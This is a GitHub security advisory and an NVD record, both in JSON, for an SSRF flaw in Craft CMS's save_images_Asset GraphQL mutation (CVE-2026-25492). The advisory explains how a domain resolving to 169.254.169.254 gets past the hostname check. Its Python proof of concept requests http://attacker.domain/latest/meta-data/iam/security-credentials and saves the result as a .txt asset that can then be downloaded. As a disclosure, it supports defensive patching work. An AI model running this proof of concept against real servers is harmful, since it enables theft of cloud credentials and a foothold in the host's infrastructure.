{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.21"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/craft"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.8.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.16.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/craft"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.5.0"
            },
            {
              "fixed": "4.16.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T20:35:23Z",
    "nvd_published_at": "2026-02-09T20:15:57Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n- The save_images_Asset graphql mutation allows a user to give a url of an image to download.  (Url must use a domain, not a raw IP.)\n- Attacker sets up domain attacker.domain with an A record of something like 169.254.169.254 (special AWS metadata IP)\n- Attacker invokes save_images_Asset with url: http://attacker.domain/latest/meta-data/iam/security-credentials and filename \"foo.txt\"\n- Craft fetches sensitive information on attacker\u0027s behalf, and makes it available for download at /assets/images/foo.txt\n- Normal checks to verify that image is valid are bypassed because of .txt extension\n- Normal checks to verify that url is not an IP address are bypassed because user provided a valid domain that resolves to a sensitive internal IP address\n\n### Details\n\nhandleUpload() in src/gql/resolvers/mutations/Assets.php contains the code that processes the save_images_Asset mutation.\n\nIt has some basic validation logic for the url parameter (source of the image) and filename parameter (what to save image as):\n\n```\n   } elseif (!empty($fileInformation[\u0027url\u0027])) {\n            $url = $fileInformation[\u0027url\u0027];\n\n            // make sure the hostname is alphanumeric and not an IP address\n            $hostname = parse_url($url, PHP_URL_HOST);\n            if (\n                !filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) ||\n                filter_var($hostname, FILTER_VALIDATE_IP)\n            ) {\n                throw new UserError(\"$url contains an invalid hostname.\");\n            }\n\n            if (empty($fileInformation[\u0027filename\u0027])) {\n                $filename = AssetsHelper::prepareAssetName(pathinfo(UrlHelper::stripQueryString($url), PATHINFO_BASENAME));\n            } else {\n                $filename = AssetsHelper::prepareAssetName($fileInformation[\u0027filename\u0027]);\n            }\n\n            $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n            if (is_array($allowedExtensions) \u0026\u0026 !in_array($extension, $allowedExtensions, true)) {\n                throw new AssetDisallowedExtensionException(Craft::t(\u0027app\u0027, \"\u201c{$extension}\u201d is not an allowed file extension.\"));\n            }\n```\n\nThe upshot of this validation is that url must contain a hostname, not an IP, and filename must contain an allowed extension.  If the allowed extension is a typical image extension, further validation will be done downstream  to verify that the downloaded content is in fact an image.\n\nAn authenticated attacker can trick this mutation into fetching sensitive AWS metadata, or other sensitive information from the craft instance\u0027s internal network.\n\n- First, the attacker must register a domain -- e.g. attacker.domain.  \n- Next, they must point their domain at the sensitive internal ip they\u0027d like to access (e.g. 169.254.169.254)\n- Next, they make a request to save_images_Asset with url set to http://attacker.domain/sensitive/path with filename set to \"something.txt\"\n- Finally the attacker makes a http request to retrieve /assets/images/something.txt, which contains sensitive information\n\n\n### PoC\n\n#### Preconditions\n\n- Graphql access must be enabled\n- Attacker must have access to a graphql token\n- Token must be configured to have access to save_images_Asset mutation\n- Attacker must have configured a domain, \"attacker.domain\" pointing to the sensitive internal IP address they\u0027d like to access\n- .txt must be an allowed extension for uploads via save_images_Asset (as it is by default)\n\n#### Code\n\n```\nimport requests\n\n# Replace GRAPHQL_ENDPOINT and BEARER_TOKEN per target.\nGRAPHQL_ENDPOINT = \u0027http://localhost:8080/actions/graphql/api\u0027\nTOKEN = \u0027\u003cTOKEN HERE\u003e\u0027\n\nmutation = \u0027\u0027\u0027\nmutation SaveAsset($_file: FileInput!, $title: String, $focalPoint: String) { save_images_Asset(_file: $_file,\n   title: $title, focalPoint: $focalPoint) { id title url filename focalPoint dateCreated } }\n\u0027\u0027\u0027\n\nvariables = {\n  \u0027_file\u0027: {\n    \u0027url\u0027 : \"http://attacker.domain/latest/meta-data/iam/security-credentials\",\n    \u0027filename\u0027: \u0027foo.txt\u0027\n\n  },\n  \"title\": \"my photo\",\n  \"focalPoint\": \"0.5;0.5\"\n\n}\n\nresp = requests.post(GRAPHQL_ENDPOINT,\n                     json={\u0027query\u0027: mutation, \u0027variables\u0027: variables},\n                     headers={\u0027Authorization\u0027: f\u0027Bearer {TOKEN}\u0027})\nprint(resp.status_code, resp.text)\n```\n\nIf attack is successful, response to running this script will be something like:\n\n```\n200 {\"data\":{\"save_images_Asset\":{\"id\":\"211403\",\"title\":\"my photo\",\"url\":\"http://localhost:8080/assets/volumes/images/foo.txt\",\"filename\":\"foo.txt\",\"focalPoint\":null,\"dateCreated\":\"2025-12-18T09:45:24-08:00\"}}}\n```\n\nAttacker can then download sensitive data by fetching http://localhost:8080/assets/volumes/images/foo.txt\n\n\n### Impact\n\nImpacted users must:\n\n- Have graphql enabled\n- Have a graphql token created with permissions to use save_images_Asset\n- Have graphql token stolen by attacker or abused by malicious insider\n\nImpact is heightened if:\n\n- craft is running on something like an AWS EC2 instance, which has a well-known, sensitive internal http address that can be accessed to fetch metadata.  \n\nUltimate result is:\n\nAttacker or malicious insider gets access to infrastructure craft is running on, not just craft itself.",
  "id": "GHSA-96pq-hxpw-rgh8",
  "modified": "2026-02-09T22:38:27Z",
  "published": "2026-02-09T20:35:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-96pq-hxpw-rgh8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25492"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/e838a221df2ab15cd54248f22fc8355d47df29ff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/4.16.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/5.8.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS: save_images_Asset graphql mutation can be abused to exfiltrate AWS credentials of underlying host"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "9E85FA80-6A50-430C-8E92-3D46BBE0682C",
              "versionEndExcluding": "4.16.18",
              "versionStartIncluding": "3.5.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "CCCB684A-592F-495F-86A7-F16399C58701",
              "versionEndExcluding": "5.8.22",
              "versionStartIncluding": "5.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Craft CMS is a content management system. In Craft versions 3.5.0 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the save_images_Asset GraphQL mutation can be abused to fetch internal URLs by providing a domain name that resolves to an internal IP address, bypassing hostname validation. When a non-image file extension such as .txt is allowed, downstream image validation is bypassed, which can allow an authenticated attacker with permission to use save_images_Asset to retrieve sensitive data such as AWS instance metadata credentials from the underlying host. This issue is patched in versions 4.16.18 and 5.8.22."
    },
    {
      "lang": "es",
      "value": "Craft CMS es un sistema de gesti\u00f3n de contenido. En las versiones de Craft 3.5.0 a 4.16.17 y 5.0.0-RC1 a 5.8.21, la mutaci\u00f3n GraphQL save_images_Asset puede ser utilizada indebidamente para obtener URLs internas al proporcionar un nombre de dominio que se resuelve en una direcci\u00f3n IP interna, eludiendo la validaci\u00f3n del nombre de host. Cuando se permite una extensi\u00f3n de archivo que no es de imagen, como .txt, se elude la validaci\u00f3n de imagen posterior, lo que puede permitir a un atacante autenticado con permiso para usar save_images_Asset recuperar datos sensibles como credenciales de metadatos de instancia de AWS del host subyacente. Este problema est\u00e1 parcheado en las versiones 4.16.18 y 5.8.22."
    }
  ],
  "id": "CVE-2026-25492",
  "lastModified": "2026-02-19T19:12:55.063",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-09T20:15:57.650",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/craftcms/cms/commit/e838a221df2ab15cd54248f22fc8355d47df29ff"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/craftcms/cms/releases/tag/5.8.22"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-96pq-hxpw-rgh8"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}